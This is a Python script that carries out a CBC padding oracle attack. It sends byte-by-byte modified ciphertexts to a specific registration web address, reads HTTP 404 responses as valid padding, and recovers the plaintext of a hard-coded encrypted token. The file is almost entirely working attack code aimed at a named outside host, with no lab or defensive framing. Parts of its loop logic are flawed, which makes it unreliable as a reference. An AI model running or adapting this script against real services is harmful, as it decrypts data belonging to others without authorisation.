'''
Created on 22 Jul 2013

@author: Matt
'''
import sys
from urllib.parse import quote
from urllib.request import Request, urlopen
from urllib.error import HTTPError
from MattCrypto.CryptoFunctions import hexStrToBits, bytesToBits, intToBits, xor,\
    bitsToHex, hexor

TARGET = 'https://eva.visitorregistration.org/Register/r.jsp?p='
#--------------------------------------------------------------
# padding oracle
#--------------------------------------------------------------
class PaddingOracle(object):
    def query(self, q):
        print(q)
        target = TARGET + quote(q)    # Create query URL
        req = Request(target)         # Send HTTP request to server
        try:
            urlopen(req)          # Wait for response
        except HTTPError as e:          
            if e.code == 404:
                print("We got: %d" % e.code)       # Print response code
                return True # good padding
            return False # bad padding

if __name__ == "__main__":
    
    print(hexor("b7", "64"))
    print(hexor("d0", "03"))
    print(hexor(hexor("b7", "64"), "03"))
    
    po = PaddingOracle()
    encryptedString = "006906829bf1164fd4b1cf5695711e281e188797ac723153275f2f91ecfca7027ab9eb48997c13a4e51db77ffcb346d225d7d3db2afd3ad7e025ec4fbc5aa84d895ed92779a92b5b49058913b261a6c7d315a24abe1f4462a2256498293c7533"
    
    validPadC1 = []
    
    blocks = [encryptedString[0:32], encryptedString[32:64], encryptedString[64:96], encryptedString[96:128]]
    
    for z in range(0, 2):
        iv = blocks[2 - z]
        c_0 = blocks[3 - z]
        
        for y in range(1, 16):
            for x in range(0, 255):
                
                guessStr = hex(x)[2:].zfill(2)
                guessStr = hexor(guessStr[0:2], iv[(32 - (2*(y))):(32 - (2*(y-1)))]).zfill(2)
                if (y > 1):
                    guessStr += hexor(iv[(32 - (2*(y-1))):].zfill(2), "".join([hex(x)[2:] for x in validPadC1]).zfill(2))
                positionStr = hex(y)[2:].zfill(2) * y
                guessHex = hexor(guessStr, positionStr).zfill((2*y))
    
                testiv = iv[0:(32 - (2*y))] + guessHex
                
                print(iv + c_0)
            
                if po.query(testiv + c_0):       # Issue HTTP query with the given argument
                    validPadC1 = [x] + validPadC1
                    print("".join([chr(x) for x in validPadC1]))                
                    break;